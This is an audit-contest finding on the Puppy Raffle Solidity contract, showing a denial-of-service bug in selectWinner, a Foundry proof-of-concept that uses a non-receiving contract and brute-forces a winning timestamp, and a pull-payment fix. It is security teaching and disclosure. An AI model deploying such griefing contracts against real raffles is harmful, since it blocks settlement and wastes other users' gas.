Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: medium
Valid

`PuppyRaffle::selectWinner` reverts whenever the RNG picks a winner that cannot receive ETH

Root + Impact

Description

Normally, settling a raffle should not depend on the winner's ability to receive ETH in the same transaction — a prize owed should be claimable. However, in the current implementation the prize is pushed to the winner, and require(success) reverts the whole settlement when the winner cannot accept the transfer.

The vulnerability exists in PuppyRaffle.sol#L148-L153.

Root Cause: Denial of service — push payment to an arbitrary address with revert-on-failure blocking settlement.

Vulnerable Code:

// File: src/PuppyRaffle.sol — Lines 148–153
delete players;
raffleStartTime = block.timestamp;
previousWinner = winner;
@> (bool success,) = winner.call{value: prizePool}(""); // BUG: fails for contracts without receive()
@> require(success, "PuppyRaffle: Failed to send prize pool to winner"); // -> whole settlement reverts
_safeMint(winner, tokenId);

Why This Is Exploitable:

Any Ethereum address can enter the raffle, including contracts that have no ETH receive path. selectWinner is permissionless, and the winner is chosen by caller/timestamp-dependent RNG. Every (caller, timestamp) pair whose index maps to the non-receiving player produces a reverting transaction: the prize transfer fails and the state reset (delete players, timer restart) is rolled back with it. The round can only settle via the remaining outcomes — with one non-receiver among four players, roughly a quarter of settlement attempts revert, wasting callers' gas.

Risk

Likelihood:

  • Requires at least one player to be a contract without a receive path — plausible (smart-contract wallets, multisigs) but not guaranteed in every round.

  • Each poisoned RNG outcome deterministically reverts; the frequency scales with the share of non-receiving players.

Impact:

  • Temporary, probabilistic denial of service of settlement and gas griefing for callers — not a permanent lock, since other outcomes still settle the round.

  • No funds are stolen; the impact is availability of round settlement.

Proof of Concept

/// @dev A player that can enter but can never receive ETH.
contract NoReceivePlayer {
function enter(PuppyRaffle raffle) external payable {
address[] memory p = new address[](1);
p[0] = address(this);
raffle.enterRaffle{value: msg.value}(p);
}
}
function testPoC_SettlementRevertsWhenWinnerCannotReceive() public {
NoReceivePlayer noReceive = new NoReceivePlayer();
vm.deal(address(noReceive), entranceFee);
address[] memory players = new address[](3);
players[0] = playerOne;
players[1] = playerTwo;
players[2] = playerThree;
puppyRaffle.enterRaffle{value: entranceFee * 3}(players);
noReceive.enter{value: entranceFee}(puppyRaffle); // index 3
uint256 startTs = block.timestamp + duration + 1;
address caller = address(0xCA11E4);
uint256 chosenTs;
bool found;
for (uint256 t = 0; t < 1000; t++) {
uint256 ts = startTs + t;
uint256 idx = uint256(keccak256(abi.encodePacked(caller, ts, block.difficulty))) % 4;
if (idx == 3) {
chosenTs = ts;
found = true;
break;
}
}
require(found, "no index-3 timestamp in range");
vm.warp(chosenTs);
vm.prank(caller);
vm.expectRevert("PuppyRaffle: Failed to send prize pool to winner");
puppyRaffle.selectWinner();
console2.log("settlement reverted whenever winnerIndex picked the non-receiving contract");
}

Run: forge test --match-test testPoC_SettlementRevertsWhenWinnerCannotReceive -vv

Output (actual run):

[PASS] testPoC_SettlementRevertsWhenWinnerCannotReceive() (gas: 339790)
Logs:
settlement reverted whenever winnerIndex picked the non-receiving contract
  1. Alice, Bob, Carol enter; the fourth slot is a contract that can call enterRaffle but has no receive()/fallback.

  2. After duration, a caller whose (caller, timestamp) hash modulo 4 lands on index 3 calls selectWinner.

  3. The prize call to the contract fails, require(success) reverts with "PuppyRaffle: Failed to send prize pool to winner", and the round remains unsettled.

Recommended Mitigation

Use a pull-payment pattern: record the prize as owed and let the winner withdraw it in a separate transaction, so settlement can never be blocked by the winner's receive behavior:

Proposed Fix:

// File: src/PuppyRaffle.sol
+ mapping(address => uint256) public pendingPrizes;
// ...
- (bool success,) = winner.call{value: prizePool}("");
- require(success, "PuppyRaffle: Failed to send prize pool to winner");
+ pendingPrizes[winner] += prizePool; // winner calls withdrawPrize() in a separate tx

References:

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 6 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-03] Impossible to win raffle if the winner is a smart contract without a fallback function

## Description If a player submits a smart contract as a player, and if it doesn't implement the `receive()` or `fallback()` function, the call use to send the funds to the winner will fail to execute, compromising the functionality of the protocol. ## Vulnerability Details The vulnerability comes from the way that are programmed smart contracts, if the smart contract doesn't implement a `receive() payable` or `fallback() payable` functions, it is not possible to send ether to the program. ## Impact High - Medium: The protocol won't be able to select a winner but players will be able to withdraw funds with the `refund()` function ## Recommendations Restrict access to the raffle to only EOAs (Externally Owned Accounts), by checking if the passed address in enterRaffle is a smart contract, if it is we revert the transaction. We can easily implement this check into the function because of the Adress library from OppenZeppelin. I'll add this replace `enterRaffle()` with these lines of code: ```solidity function enterRaffle(address[] memory newPlayers) public payable { require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to enter raffle"); for (uint256 i = 0; i < newPlayers.length; i++) { require(Address.isContract(newPlayers[i]) == false, "The players need to be EOAs"); players.push(newPlayers[i]); } // Check for duplicates for (uint256 i = 0; i < players.length - 1; i++) { for (uint256 j = i + 1; j < players.length; j++) { require(players[i] != players[j], "PuppyRaffle: Duplicate player"); } } emit RaffleEnter(newPlayers); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!